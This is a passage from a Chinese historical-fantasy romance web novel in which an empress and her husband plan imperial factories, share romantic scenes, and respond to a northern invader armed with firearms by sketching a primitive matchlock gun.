“这其中需要耗费的人力,物力,财力,都是天文数字。” “我们必须从长计议。” “王爷说的是。” 慕容嫣也点了点头,开口说道。 “此事兹事体大。” “我们可以先在江南,选一两个地方,作为试点。” “先小规模地尝试一下。” “等积累了足够的经验,再逐步地向全国推广。” “陛下圣明!” 周兴和李格也渐渐地从亢奋中,冷静了下来。 他们知道陛下和王爷,说的都在理。 这种足以改变国运的大事,确实不能操之过急。 “那依陛下之见,这第一批的试点,该选在何处?” 杜如晦,哦不,是已经被支到北疆去的杜相,不在。 周兴便自动承担起了百官之首的职责。 慕容嫣沉吟了片刻。 目光落在了墙上挂着的那副,巨大的大乾堪舆图上。 最终她的手指,点在了江南两个最富庶也是最繁华的城市上。 “苏州和杭州。” “苏杭自古便是鱼米之乡,丝绸之府。” “其纺织业和手工业冠绝天下。” “我们就在这里建立我们第一批的,皇家纺织厂和瓷器厂。” “另外,”她的手指,又顺着海岸线一路南下,最终停在了一个位于大乾最南端的,沿海港口城市。 “广州。” “这里是我大乾,最大的通商口岸。” “也是我们未来那支远洋舰队的母港!” “我们就在这里,建立我们大乾的,第一个皇家造船厂!” 此刻的她穿着那身作为唯一寝衣的神凤降世裙。 慵懒地靠在林臻的怀里。 那极致玄黑的苏锦底料,衬得她那指点江山的手指愈发地白皙如玉。 那只用真金线绣成的擎天巨凤,也仿佛随着她的手指,在巨大的堪舆图上巡视着自己的疆域。 凤目之中迸发出了前所未有的,充满了开创与征服的,万丈豪情! 那长达五丈的墨金色苏锦拖尾,从她的脚下恣意地铺陈开来。 仿佛,要将整个堪舆图都笼罩其中。 那华贵的凌乱在这一刻不再是慵懒。 而是一种将整个天下,都玩弄于股掌之间的绝对自信! “好!” 林臻看着她那意气风发的样子,忍不住大赞一声! “就依你!” “苏杭建工厂!” “广州造大船!” “我倒要看看,我们夫妻二人联手,能为这个世界带来怎样一番翻天覆地的变化!” “陛下和王爷,真是天造地设的一对啊!” 周兴和李格看着眼前这指点江山,挥斥方遒的一对璧人。 心中除了由衷的赞叹,便再无其他。 他们知道。 有这样一对文治武功都已臻化境的,传奇帝后坐镇。 他们大乾的未来想不辉煌都难! 商议完了,这件关乎国运的头等大事。 周兴和李格这两个心满意足的老头,便告辞离去了。 他们现在已经迫不及待地,想要去大展拳脚了。 送走了,两个麻烦精。 饭厅之内,终于又只剩下了林臻和慕容嫣两人。 “夫君,” 慕容嫣靠在林臻的怀里,把玩着他那骨节分明的大手。 声音里带着一丝小女孩般的好奇。 “你说,我们真的能造出远航万里的宝船吗?” “我们真的能把我们的丝绸和瓷器卖到那传说中的,世界尽头吗?” 她虽然刚才在周兴和李格面前,表现得自信满满。 但她的心里其实,也还是有些没底。 毕竟那是一个她从未接触过的未知领域。 “当然能。” 林臻笑着将她,往怀里紧了紧。 “我的傻嫣儿,你忘了我是谁了吗?” “我是你男人。” “是这个世界上无所不能的林臻。” “只要是你想做的事。” “哪怕是你要天上的星星,我也会想办法给你摘下来。” “更何况,只是区区几艘能出海的破船?” 他这番霸道总裁式的宣言。 让慕容嫣的心里,又是一阵小鹿乱撞。 她知道,这个男人不是在吹牛。 他既然说了能。 那就一定能。 第1159章 去江南看看 “那……那我们什么时候去江南看看?” 她的声音里充满了无法掩饰的向往。 长这么大她去过最远的地方就是漠北。 对于那传说中,“小桥流水,烟雨朦胧”的江南。 她早就心向往之了。 “怎么?想出去玩了?” 林臻看着她那,亮晶晶的眼睛笑着问道。 “才不是!” 慕容嫣的脸一红嘴硬道。 “我……我是想去实地考察一下!” “毕竟苏杭的纺织厂和瓷器厂,还有广州的造船厂,都是我亲自定下的。” “我这个最高决策者,总不能连自己要建的厂子长什么样都不知道吧?” 她努力地为自己找着借口。 那副明明想去,却又死鸭子嘴硬的可爱模样。 看得林臻又是一阵心痒难耐。 “好好,是去考察,是去考察。” 他强忍着笑意,一本正经地说道。 “那依我们日理万机的,皇后陛下之见。” “我们该当何时,微服私访去江南,考察一番呢?” “这个嘛……” 慕容嫣沉吟了片刻。 “等,皇家商行的第一场拍卖会结束之后吧。” “到时候国库充裕了,我们也能走得更安心一些。” “好,都听你的。” 林臻点了点头。 他知道自己这位小娇妻,虽然有时候会有些小女儿家的情态。 但骨子里却依旧是那个心怀天下,以国事为重的大乾女帝。 这也正是他最爱她也最敬佩她的地方。 两人又腻歪了一会儿。 慕容嫣便催着林臻去书房,处理那些堆积如山的政务了。 而她自己则是回到了,那间充满了喜气的新房。 她坐在梳妆台前看着镜子里的自己。 看着自己身上这件已经穿了许多年的神凤降世裙。 心中突然冒出了一个大胆的想法。 她想为林臻,亲手做一件衣服。 就像这件神凤降世裙一样。 一件独一无二的,只属于他一个人的衣服。 这个念头一冒出来。 便再也无法抑制。 她知道林臻的衣服向来都是由宫里最好的绣娘,用最顶级的料子缝制的。 她一个连针线都没怎么碰过的,十指不沾阳春水的女皇帝。 想要做出一件,能让他穿出去的衣服。 简直就是天方夜谭。 但是她就是想。 她就是想用自己的手,一针一线地为她心爱的男人,缝制一件充满了她的爱意的衣服。 哪怕做得再丑。 哪怕他根本穿不出去。 她也心甘情愿。 想到这里。 她立刻站起身来,对着殿外喊了一声。 “来人!” 很快一名贴身的宫娥便走了进来。 “娘娘有何吩咐?” “去把,内务府最好的绣娘给本宫请来。” “另外再把我们库房里,那匹最顶级的墨色云锦,也一并取来。” 此刻的她依旧穿着那身,作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在明亮的烛光下,泛着温润的光泽。 那只用真金线绣成的擎天巨凤,也仿佛感受到了主人那,突如其来的奇思妙想。 凤目之中闪烁着,好奇而又期待的光芒。 那长达五丈的墨金色苏锦拖尾,从她的脚下恣意地铺陈开来。 形成了一片充满了浪漫与创意的,华贵的凌乱。 她要用这匹与她身上这件神凤降世裙,师出同门的墨色云锦。 为她的夫君亲手,打造一件与之相配的麒麟战袍! 那名宫娥,听到慕容嫣的吩咐微微一愣。 有些不明所以。 但她也不敢多问。 连忙躬身应是退了出去。 很快。 内务府那位年过花甲,据说连前朝皇帝的龙袍都亲手缝制过的首席绣娘——李嬷嬷。 便被战战兢兢地请了进来。 随之而来的,还有一匹用巨大的紫檀木盒,装着的顶级墨色云锦。 “老奴,参见王妃娘娘。” 李嬷嬷跪在地上,连头都不敢抬。 “李嬷嬷,请起吧。” 慕容嫣的声音很温和。 “本宫今日请你来,是想向你请教一下针线活。” “啊?” 李嬷嬷闻言整个人都傻了。 她抬起头一脸难以置信地,看着眼前这位高高在上的王妃娘娘。 她……她没听错吧? 这位执掌着整个大乾江山的女皇帝陛下。 竟然要跟她一个下九流的绣娘,学针线活? 这……这简直是太阳从西边出来了! “怎么?你不愿意?” 慕容嫣看着她那目瞪口呆的样子,眉头微微一皱。 “不不不!老奴不敢!” 李嬷嬷吓得魂飞魄散。 连忙又跪了下去。 “能……能教娘娘针线活,是……是老奴八辈子修来的福气!” “只是……只是,老奴有些受宠若惊……” “行了,起来吧。” 慕容嫣摆了摆手。 “本宫只是心血来潮,想学学而已。” “你不必如此紧张。” 她说着便让宫娥,打开了那个巨大的紫檀木盒。 一匹如同最深沉的夜空一般,闪烁着幽暗光泽的顶级云锦,便呈现在了众人的眼前。 李嬷嬷只看了一眼,便忍不住倒吸了一口凉气。 “这……这莫非是传说中早已失传了的‘乌云踏雪’?” 她颤抖着伸出手,想要去触摸一下那匹梦幻般的布料。 却又不敢。 生怕自己那粗糙的手,会玷污了这神物。 “你倒是有眼光。” 慕容嫣有些意外地看了她一眼。 “没错这正是前朝贡品乌云踏雪。” “整个皇宫也就只剩下这最后一匹了。” 李嬷嬷闻言,更是激动得浑身发抖。 她知道这种料子有多么的珍贵。 据说当年前朝皇帝,为了织就一匹这样的云锦。 需要耗费上千名顶级绣娘,整整三年的心血! 其价值早已无法用金钱来衡量。 而现在这位王妃娘娘,竟然要把这无价之宝。 拿出来学针线活? 这……这简直是暴殄天物啊! “娘……娘娘三思啊!” 她噗通一声又跪了下去。 “此等神物岂能,用来练手啊?” “万一要是剪坏了或是绣错了……” “那可是天大的罪过啊!” “无妨。” 慕容嫣却是一脸的不以为意。 “东西再好,也只是死物。” “能为本宫表达心意,才是它最大的价值。” 她看着那匹华美无双的云锦,眼中闪烁着温柔而又坚定的光芒。 “本宫要用它为王爷,亲手做一件麒麟袍。” 李嬷嬷彻底说不出话来了。 她看着眼前这位,为了给心爱的男人做一件衣服。 不惜拿出无价之宝来练手的女皇帝。 心中除了无尽的震撼,便只剩下了深深的感动。 她知道,自己再也劝不住她了。 她只能从地上爬起来。 然后用自己毕生的所学。 开始手把手地教这位全世界最尊贵的“学生”,如何穿针,如何引线,如何运针。 然而理想是丰满的。 现实却是骨感的。 第1160章 征服一根绣花针 慕容嫣这位在朝堂之上,杀伐决断指点江山的女皇帝。 在针线活这方面,简直就是个彻头彻尾的“手残党”。 她那双本该是,执掌玉玺批阅奏折的纤纤玉手。 在面对那根比头发丝还细的绣花针时。 显得是那么的笨拙和无力。 不是穿错了线。 就是扎到了自己的手。 短短半个时辰的功夫。 她那白皙如玉的手指上,就已经布满了一个个细密的血红色针眼。 看得一旁的李嬷嬷和宫娥们,是心惊肉跳心疼不已。 “娘……娘娘,要不还是让老奴来吧?” 李嬷嬷实在是看不下去了。 “您这又是何苦呢?” “不用。” 慕容嫣却是倔强地摇了摇头。 她看着自己那不争气的手,眼中闪过一丝不服输的光芒。 “本宫就不信了。” “连整个大乾江山,本宫都能打下来。” “难道还征服不了,这区区一根小小的绣花针吗?” 她深吸一口气,重新拿起针线。 再一次笨拙而又坚定地开始了她的,第一次创作。 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料与她手中那匹,墨色的“乌云踏雪”交相辉映。 仿佛是夜空与星辰的完美融合。 那只用真金线绣成的擎天巨凤也仿佛,在为它那笨拙而又执着的主人加油鼓劲。 凤目之中闪烁着温柔而又鼓励的光芒。 那长达五丈的墨金色苏锦拖尾,凌乱地堆叠在她的脚下。 上面还散落着几滴,她不小心滴落的殷红血珠。 那华贵的凌乱之中平添了几分,令人心疼的凄美。 就在这时。 书房的门被轻轻地推开了。 处理完政务的林臻端着一碗,他亲手为她熬制的冰糖雪梨走了进来。 “嫣儿,在忙什么呢?” 林臻的声音里,带着一丝宠溺的笑意。 他以为他会看到自己那位,可爱的小娇妻正窝在软榻上看书的慵懒模样。 可他万万没有想到。 他看到的竟然是,这样一副让他目瞪口呆的景象。 只见,他的皇后陛下正襟危坐地坐在梳妆台前。 手里拿着一根绣花针。 正在一针一线跟一块黑色的布料较劲。 而她的身边还站着,内务府的首席绣娘李嬷嬷。 和几个一脸紧张兮兮的小宫娥。 “你……你们,这是在干什么?” 林臻的脑子有点转不过弯来。 慕容嫣听到他的声音身体猛地一僵。 她下意识地便想将手中那块,绣得歪歪扭扭的布料藏到身后去。 却已经来不及了。 林臻已经大步流星地走了过来。 当他看到慕容嫣那,布满了细密针眼甚至还有几处正在微微渗血的纤纤玉指时。 他的瞳孔,猛地一缩! 一股难以言喻的心疼和怒火,瞬间便涌上了他的心头! “这是怎么回事?!” 他的声音冰冷得像是,从九幽地狱里传出来的一般。 “是谁让你碰这些东西的?!” 他一把夺过慕容嫣手中的针线。 狠狠地摔在了地上! 然后,他又转过头,用一种仿佛要杀人一般的目光,死死地盯着一旁早已吓得魂不附体的,李嬷嬷和几个小宫娥! “是你们逼她的吗?!” “王……王爷饶命!王爷饶命啊!” 李嬷嬷和宫娥们,被他那滔天的杀气,给吓得噗通一声,全都跪倒在地。 一个个磕头如捣蒜。 “不……不关她们的事!” 慕容嫣看到,他误会了连忙开口解释道。 “是……是我自己,要学的……” “你自己要学?” 林臻的眉头,皱得更紧了。 他拉过慕容嫣的手,看着上面那一个个刺眼的血珠。 只觉得自己的心都像是,被针扎一样疼得厉害。 “好端端的,你学这个干什么?” 他的声音里充满了无法掩饰的心疼和责备。 “你知不知道你的手,是用来执掌玉玺批阅奏折的!” “是用来抚琴作画的!” “不是用来干这种粗活的!” “我……” 慕容嫣被他,训得眼圈一红。 一股委屈的泪水,便在眼眶里打起转来。 她只是想亲手为他做一件衣服而已。 他怎么就这么凶啊? 林臻看着她那马上就要,哭出来的委屈模样。 心中的怒火瞬间便消散得无影无踪。 取而代之的是无尽的懊悔和自责。 他怎么就忘了呢? 他这位小娇妻,虽然是高高在上的女皇帝。 但骨子里却也是个需要人疼,需要人哄的小女人啊。 他刚才那番话一定是伤到她了。 “对不起,嫣儿,对不起。” 他连忙将她拥入怀中。 用自己的脸颊,轻轻地蹭着她那,柔顺的秀发。 “是夫君不好,夫君不该,对你那么凶。” “我只是……只是,太心疼你了。” 他拉起她的手,放在唇边,轻轻地吻着上面那一个个细密的针眼。 那动作温柔得,仿佛是在对待一件稀世珍宝。 慕容嫣的心瞬间就软了。 那点小小的委屈,也烟消云散。 她将脸埋在他的怀里闷闷地说道。 “我只是……想亲手为你做一件衣服……” “我知道。” 林臻的声音,沙哑得不成样子。 他怎么会不知道呢? 他看了一眼,地上那匹华美无双的乌云踏雪。 又看了一眼,她手中那块虽然,绣得歪歪扭扭。 却能隐约看出,一个麒麟轮廓的布料。 他还有什么不明白的? 这个傻丫头。 她竟然想用,这早已失传的无价之宝。 为他做一件麒麟袍。 一股巨大的难以言喻的幸福和感动。 如同决了堤的洪水一般,瞬间将他整个人都淹没了。 他觉得自己是这个世界上最幸福的男人。 “傻丫头。” 他紧紧地抱着她。 仿佛要将她揉进自己的骨血里。 “这件衣服,不用做了。” “为什么?” 慕容嫣抬起头,有些不解地看着他。 “因为,” 林臻的嘴角勾起了一抹温柔的笑容。 “你就是我林臻这辈子收到的最珍贵的礼物。” “有你就够了。” 此刻的慕容嫣,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在林臻那,充满了爱意的目光注视下,仿佛变成了一片最温柔的,港湾。 第1161章 该不会是哪里不舒服吧 那只用真金线绣成的擎天巨凤,也仿佛被这温馨的场面所感动。 凤目之中全是,化不开的柔情。 那长达五丈的墨金色苏锦拖尾凌乱地堆叠在,两人的脚下。 将他们紧紧地包裹其中。 仿佛在为他们构建一个,只属于他们两个人的爱的世界。 林臻低头,吻上了那他肖想已久的诱人红唇。 而这一次。 再也没有不识时务的,敲门声响起了。 这一吻缠绵而又悠长。 仿佛要将彼此的灵魂,都吸入腹中。 直到两人,都有些喘不过气来。 才依依不舍地分开。 慕容嫣的脸颊早已,红得像要滴出血来。 那双水光潋滟的凤眸,迷离地看着他。 仿佛还沉浸在刚才那个,深情的吻里无法自拔。 林臻看着她那,娇艳欲滴的模样只觉得,自己刚刚才平复下去的邪火。 又一次“噌”的一下冒了出来。 他低吼一声便要,将她打横抱起。 直奔那张,充满了诱惑的巨大婚床。 “等……等等!” 慕容嫣却又一次,伸出手抵住了他的胸膛。 林臻的脸瞬间就黑了。 “又怎么了?我的皇后陛下?” 他咬牙切齿地问道。 “该不会,又是哪里不舒服了吧?” “不……不是……” 慕容嫣红着脸,摇了摇头。 然后指了指,那些还跪着的李嬷嬷和宫娥们。 “她……她们,还在这儿呢……” 林臻闻言,这才想起来。 房间里还有几个大活人呢。 他有些尴尬地咳嗽了一声。 然后黑着一张脸,对着那些早已吓得瑟瑟发抖的下人们挥了挥手。 “都滚出去!” “是是是!奴才(奴婢)告退!” 李嬷嬷和宫娥们,如蒙大赦。 连滚带爬地逃离了,这个是非之地。 看着她们那狼狈的模样。 慕容嫣忍不住,“噗嗤”一声笑了出来。 她这一笑如百花盛开。 看得林臻又是一阵心神摇曳。 “还笑?” 他恶狠狠地,瞪了她一眼。 然后一把,将她扛在了自己的肩上。 “看我今天怎么,收拾你这个不听话的小妖精!” “呀!你……你放我下来!” 慕容嫣惊呼一声,双脚在空中乱蹬着。 然而她的那点力气,在林臻面前根本不值一提。 林臻扛着她,大步流星地走到了床边。 然后毫不温柔地将她,扔在了那柔软的被褥之上。 一场充满了爱与激情的,“家法伺候”就此拉开了序幕。 …… 接下来的几天。 是林臻和慕容嫣,长这么大过得,最悠闲也最快活的日子。 按照礼制他们有三天的婚假。 这三天里他们,可以不用上朝不用理会任何政务。 只安安心心地待在王府里。 过他们自己的小日子。 林臻是彻底放飞自我了。 他每天都变着法儿地折腾慕容嫣。 白天他会拉着她,在王府的后花园里荡秋千,放风筝。 或者是在人工湖上,泛舟垂钓。 晚上自然是免不了的一番龙争凤斗,颠鸾倒凤。 直把慕容嫣这位高高在上的女皇帝,折腾得腰酸背痛,连床都下不来。 慕容嫣嘴上,虽然天天骂他是个不知餍足的坏蛋。 但心里却甜得跟吃了蜜一样。 她喜欢这种被他捧在手心里宠着,爱着的感觉。 她喜欢看他,为了逗自己开心而费尽心思的傻样。 她更喜欢在,夜深人静的时候。 与他最原始,也最亲密无间的纠缠。 这种平淡却又充满了烟火气的幸福。 是她以前连想都不敢想的。 这一日午后。 两人正相拥着躺在后花园的一张,巨大的逍遥椅上晒太阳。 慕容嫣慵懒地靠在林臻的怀里。 身上依旧穿着那件,作为唯一寝衣的神凤降世裙。 经过了几日雨露的滋润。 她整个人都仿佛脱胎换骨了一般。 皮肤愈发地晶莹剔透吹弹可破。 眉眼之间也少了几分帝王的锐利。 多了几分属于,小女人的妩媚和风情。 那极致玄黑的苏锦底料在午后,温暖的阳光下泛着一层柔和的光晕。 仿佛在懒洋洋地打着瞌睡。 那只用真金线绣成的擎天巨凤,也收敛了所有的锋芒。 凤目微阖透着一股,说不出的慵懒和惬意。 那长达五丈的墨金色苏锦拖尾从逍遥椅上,迤逦而下。 随意地铺陈在青翠的草地之上。 像一片被阳光,晒得暖洋洋的黑金色沙滩。 那华贵的凌乱之中充满了岁月静好的安逸与祥和。 “夫君,” 慕容嫣突然开口问道。 “你说等我们老了以后,会是什么样子?” “老了以后?” 林臻想了想,笑着说道。 “老了以后,我就告老还乡。” “然后我们就去江南买一栋带花园的大宅子。” “我呢,就每天种种花,养养鱼,写写字。” “你呢,就每天打扮得漂漂亮亮的。” “给我弹弹琴,跳跳舞。” “等我们有了孙子孙女。” “我们就每天带着他们去街上买糖葫芦吃。” “那样的日子,想想就觉得美得很。” 慕容嫣听着他,对未来的美好描绘。 那双美丽的凤眸之中,也充满了无尽的向往。 她将脸在他的胸膛上蹭了蹭。 声音软得像棉花糖。 “好,都听你的。” 然而就在这,温馨的气氛之中。 一个,不合时宜的声音,又一次响了起来。 “王爷……王妃娘娘……” 是王府的管家。 他正一脸为难地,站在不远处。 手里还拿着封看起来很紧急的信函。 林臻的脸瞬间又黑了。 他真想现在就过去,把这个不识时务的老家伙,给一脚踹到人工湖里去喂鱼! 还有完没完了?! 这三天他已经下了死命令。 不许任何人来打扰他和嫣儿的二人世界。 天大的事都得等三天之后再说! 可现在这才第二天! 就又有人来触霉头了! “没看到本王正忙着吗?!” 他没好气地吼了一声。 “有什么事等明天再说!” “王……王爷,息怒啊!” 管家被他吓得双腿一软,差点没直接跪下去。 “不……不是,小人想来打扰您和娘娘啊!” 他哭丧着一张脸,将手中的信函高高举起。 “是……是北疆,安北都护府呼韩邪大王,派人送来的十万火急的密信啊!” “呼韩邪?” 第1162章 还得好好合计合计 林臻和慕容嫣对视了一眼。 都从对方的眼中看到了一丝凝重。 他们知道呼韩邪,是他们一手扶持起来的漠北代言人。 为人虽然有些大大咧咧。 但却是个识大体顾大局的聪明人。 若非真的,遇到了十万火急的天大麻烦。 他绝不会在这个时候派人来打扰他们。 “呈上来。” 林臻从逍遥椅上坐了起来。 脸色也变得严肃起来。 管家如蒙大赦。 连忙迈着小碎步跑了过来。 将那封用火漆密封的信函递给了林臻。 林臻扯开火漆抽出信纸。 只看了一眼他的眉头,便紧紧地锁了起来。 “怎么了?夫君?” 慕容嫣看着他那凝重的脸色,心也跟着提了起来。 “难道是漠北又出事了?” “不是漠北。” 林臻摇了摇头,将信递给了她。 “是,更北边。” 慕容嫣接过信快速地浏览了一遍。 信上的内容,让她也忍不住倒吸了一口凉气。 信,是呼韩邪,亲笔写的。 信上说。 最近,在漠北草原的更北方。 一个名为,“罗刹国”的神秘势力,突然崛起。 这伙人一个个,人高马大金发碧眼。 长相与中原人和草原人,都截然不同。 他们使用的兵器,也十分古怪,是一种能喷出火焰和巨响的黑色铁管。 威力巨大无比! 就算是草原上最精锐的骑兵。 在那种诡异的兵器面前,也不堪一击! 短短一个月的时间。 这个神秘的“罗刹国”,便已经接连吞并了漠北草原上十几个中小部落。 其兵锋已经直指呼韩邪的王庭! 呼韩邪虽然已经组织了草原联军进行抵抗。 但面对那种闻所未闻的火器。 他们节节败退,伤亡惨重。 无奈之下。 他只能派人星夜兼程,赶到长安。 向他们伟大的宗主国求援! “罗刹国?” “能喷火的铁管?” 慕容嫣看完信,那张,绝美的俏脸之上也布满了凝重和困惑。 她从未听说过这样一个国家。 也无法想象,那所谓的能喷火的铁管,到底是个什么东西。 此刻的她,依旧慵懒地靠在林臻的怀里。 身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了这突如其来的巨大危机。 那极致玄黑的苏锦底料,在午后温暖的阳光下,非但没有显得慵懒。 反而呈现出一种如同黑曜石一般的冰冷和坚硬。 那只用真金线绣成的擎天巨凤,也睁开了那双微阖的凤目。 凤目之中闪烁着锐利的,警惕的寒光。 仿佛在审视着这个突然冒出来的未知强敌。 那长达五丈的墨金色苏锦拖尾,从草地上被微风轻轻吹起。 那华贵的凌乱之中透着一股山雨欲来风满楼的肃杀之气。 “夫君,这罗刹国,到底是何方神圣?” “他们那能喷火的铁管,又是什么东西?” 她的声音里,充满了无法掩饰的忧虑。 她知道这个突然冒出来的神秘强敌。 恐怕会比之前的孔志谦,和整个江南世家加起来,都更加难以对付! 因为未知,才是最可怕的! “如果,我没猜错的话。” 林臻的眼中闪过一丝,旁人难以读懂的复杂光芒。 “他们应该就是后世的沙皇俄国。” “而他们手中,那能喷火的铁管。” “应该就是最原始的火枪。” “沙皇俄国?火枪?” 慕容嫣听着,这两个她闻所未闻的词汇。 脸上的困惑更深了。 “那是什么?” “一个,在未来会给我们神州大地,带来无尽苦难的野蛮民族。” 林臻的声音,冰冷而又充满了刻骨的恨意。 “而火枪则是一种足以改变整个战争形态的划时代武器。” “一种能让一个手无缚鸡之力的孩童,轻易杀死一个,纵横沙场的百战猛将的大杀器!” 他的这番话让慕容嫣的心猛地一沉! “能让一个孩童轻易杀死一个猛将?” 慕容嫣被林臻这番耸人听闻的话,给彻彻底底地惊呆了。 她无法想象。 这个世界上怎么可能会存在,如此匪夷所思的武器? 这已经完全颠覆了,她对战争的所有认知! “夫君,你……你不是在开玩笑吧?” 她的声音里都带上了一丝颤抖。 “你觉得我现在像是在开玩笑的样子吗?” 林臻的脸色凝重到了极点。 他知道火枪的出现,意味着什么。 那意味着一个全新的时代即将来临。 一个属于冷兵器的时代,即将落下帷幕。 而一个属于热兵器的时代,即将开启! 在这个时代的巨大变革面前。 任何个人的武勇都将变得微不足道。 就算是他这个已经站在了武学之巅的宗师。 在成百上千支火枪的齐射面前。 也只有饮恨当场的份! 这就是科技的降维打击! “那……那我们现在该怎么办?” 慕容嫣彻底慌了。 她第一次感觉到了一种,发自灵魂深处的无力感。 在这种足以改变世界格局的,划时代武器面前。 她引以为傲的智慧和谋略,仿佛都失去了作用。 “别怕。” 林臻感觉到怀中人儿的颤抖。 收紧了手臂,用自己的体温去温暖她那冰冷的身体。 “有我呢。” 他的声音依旧沉稳,依旧有力。 像一剂强心针,瞬间便让慕容嫣那颗慌乱的心稍稍安定了下来。 她抬起头,看着他那双在阳光下依旧锐利如鹰隼的眼睛。 “夫君,你……你有办法了?” “还没。” 林臻摇了摇头。 但眼中却没有半分的慌乱。 只有一片冰冷的,如同机器一般的冷静。 “但办法,总比困难多。” 他拉着慕容嫣从逍遥椅上站了起来。 “走,我们回书房。” “我们需要好好地合计合计。” …… 摄政王府的书房内。 气氛凝重到了极点。 林臻和慕容嫣相对而坐。 两人都没有说话。 只是静静地看着桌上那封来自于呼韩邪的求援信。 许久。 慕容嫣才缓缓地开口,打破了沉默。 “夫君,你觉得呼韩邪信上说的有几分是真的?” “十分。” 林臻的回答,斩钉截铁。 “呼韩邪,虽然是个粗人。” “但他不傻。” “他知道谎报军情,欺骗我们,是个什么样的下场。” “而且,”他的手指在信纸上那几个用歪歪扭扭的汉字写成的,“罗刹国”和“火枪”上,轻轻地敲了敲。 “这两个词绝不是,他一个连自己名字都写不全的草原莽夫,能编得出来的。” “一定是有人教他这么写的。” “有人教他?” 慕容嫣一愣。 “没错。” 林臻点了点头,眼中闪过一丝睿智的光芒。 “我猜在我们不知道的地方。” “一定已经有我们大乾的商人,或者是走卒贩夫。” “跟那些所谓的‘罗刹国’人打过交道了。” “甚至可能还吃过他们的大亏。” “所以他们才会把这些信息告诉呼韩邪。” “想借着呼韩邪的手,把这个消息捅到我们这里来。” “想让我们大乾出面,去对付那些穷凶极恶的‘罗刹鬼’!” 慕容嫣冰雪聪明。 瞬间就明白了林臻的意思。 “夫君你是说,这背后有我们的人在推波助澜?” “不是没有这个可能。” 林臻不置可否。 “不过这不重要。” “重要的是,”他的声音变得愈发冰冷,“我们必须要赶在那些‘罗刹鬼’,彻底站稳脚跟之前。” “把他们从漠北草原上,彻底地赶出去!” “甚至是彻底地消灭掉!” “否则一旦让他们尝到了侵略的甜头。” “那我们大乾北方的边境,将永无宁日!” 此刻的慕容嫣,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在书房那略显昏暗的光线下显得格外的深沉和凝重。 就如同她此刻,那沉重的心情。 那只用真金线绣成的擎天巨凤也仿佛感受到了这前所未有的巨大危机。 凤目之中迸发出了冰冷的充满杀伐之气的寒光。 仿佛已经将那个名为“罗刹国”的未知敌人,当成了自己的生死大敌! 那长达五丈的墨金色苏锦拖尾,从她的脚下一直铺陈到书房的门口。 那华贵的凌乱之中透着一股黑云压城城欲摧的紧张和压抑。 “那我们现在就下旨。” 慕容嫣的声音,也变得冰冷而又决绝。 “命郑克敌元帅,即刻点起燕然都护府的十万大军!” “再传令安北王呼韩邪,召集草原二十万铁骑!” “三十万大军南北夹击!” “我就不信灭不掉他区区一个刚冒出来的,什么‘罗刹国’!” “没用的。” 林臻却是摇了摇头。 “在火枪面前。” “我们再多的骑兵和步卒,都只是活靶子。” “去再多的人,也只是送死。” 第1163章 以火器对火器 “那……那该怎么办?” 慕容嫣的声音里带上了一丝深深的无力。 难道他们就只能眼睁睁地看着那些所谓的“罗刹鬼”,在他们大乾的家门口耀武扬威,为所欲为吗? “想要对付火枪。” 林臻的眼中闪烁着旁人难以读懂的复杂光芒。 “唯一的办法就是……” “我们也拥有比他们更先进更强大的火枪!” “以火器对火器!” “这才是唯一的破局之法!” “我们也拥有火枪?” 慕容嫣被林臻这个大胆到近乎疯狂的想法给惊得半天说不出话来。 那东西她连见都没见过。 更别提什么制造之法了。 “夫君你……你没开玩笑吧?” “我们连那东西长什么样都不知道。” “又如何去制造它?” “谁说我们不知道它长什么样了?” 林臻的嘴角却勾起了一抹高深莫测的笑容。 他走到书桌前铺开一张白纸。 然后拿起毛笔蘸满了墨。 凭借着他那来自于后世的模糊记忆。 开始在纸上飞快地勾勒起来。 很快。 一杆造型虽然有些古怪。 但却充满了一种冰冷的金属质感的原始火枪的草图。 便跃然纸上。 慕容嫣周兴李格全都凑了过来。 他们一脸好奇地看着纸上那个他们从未见过的古怪玩意儿。 “夫君这……这就是你说的火枪?” 慕容嫣指着图纸那长长的黑色的铁管。 和下面那个弯曲的木质的把手。 脸上写满了困惑。 “这东西真的能喷出火来?” “还能在百步之外取人性命?” 她实在是无法将眼前这个看起来有些笨拙的“烧火棍”。 与林臻口中那个足以改变战争形态的大杀器联系在一起。 “没错。” 林臻肯定地点了点头。 “这就是最原始的火绳枪。” “它的原理其实很简单。” 他指着图纸开始为他这几个“古代人学生”进行第二次的科普讲座。 “我们只需要在这个铁管的后面钻一个小孔。” “然后从管口依次装填黑火药和铁砂弹丸。” “最后再用一根点燃的火绳,去引燃那个小孔里的火药。” “火药在密闭的铁管内瞬间爆炸。” “产生巨大的推力。” “将铁砂弹丸以我们肉眼无法捕捉的速度,发射出去!” “其威力足以在百步之内,轻易洞穿最精良的铁甲!” 林臻的这番话。 如同一道道天雷。 又一次在慕容嫣周兴和李格的脑子里轰然炸响! 他们呆呆地看着那张画着“烧火棍”的图纸。 张着嘴瞪着眼。 半天都说不出一句话来。 他们感觉自己这几十年建立起来的世界观。 在今天被他们这位无所不能的摄政王殿下。 给彻彻底底地颠覆了一遍又一遍! 装填火药? 发射弹丸? 百步之内洞穿铁甲? 这……这他娘的简直就是神仙才能想出来的手段啊! “王……王爷……” 工部尚书李格的声音都在发抖。 他看着林臻那眼神已经不是在看一个王爷了。 那简直就是在看一个从鲁班祖师爷的坟里爬出来的机关术之神! “您……您说的这……这些都是真的吗?” “当然是真的。” 林臻一脸的云淡风轻。 “不信的话你们可以照着我这个图纸,先试制几把出来。” “看看效果如何。” “好!好!好!” 李格激动得浑身的肥肉都在颤抖。 “老臣这就去!” “老臣就算是不吃不喝不睡!” “也一定在最短的时间内,把这神仙兵器给造出来!” 他说着便一把抢过桌上的图纸。 然后连最基本的君臣礼仪都忘了。 转身便像一阵风似的冲出了书房。 仿佛生怕晚了一秒。 这足以改变世界的神物就会飞走一般。 周兴也是一脸的激动和亢奋。 “王爷!陛下!” “这火枪要是真能造出来!” “那我们大乾,可就真的要无敌于天下了啊!” “到时候别说是什么‘罗刹国’了!” “就算是天王老子来了,我们也不怕了!” 慕容嫣也是美眸之中异彩连连。 她看着自己那位总能在最关键的时刻,创造奇迹的神奇夫君。 心中充满了无与伦比的崇拜和爱意。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 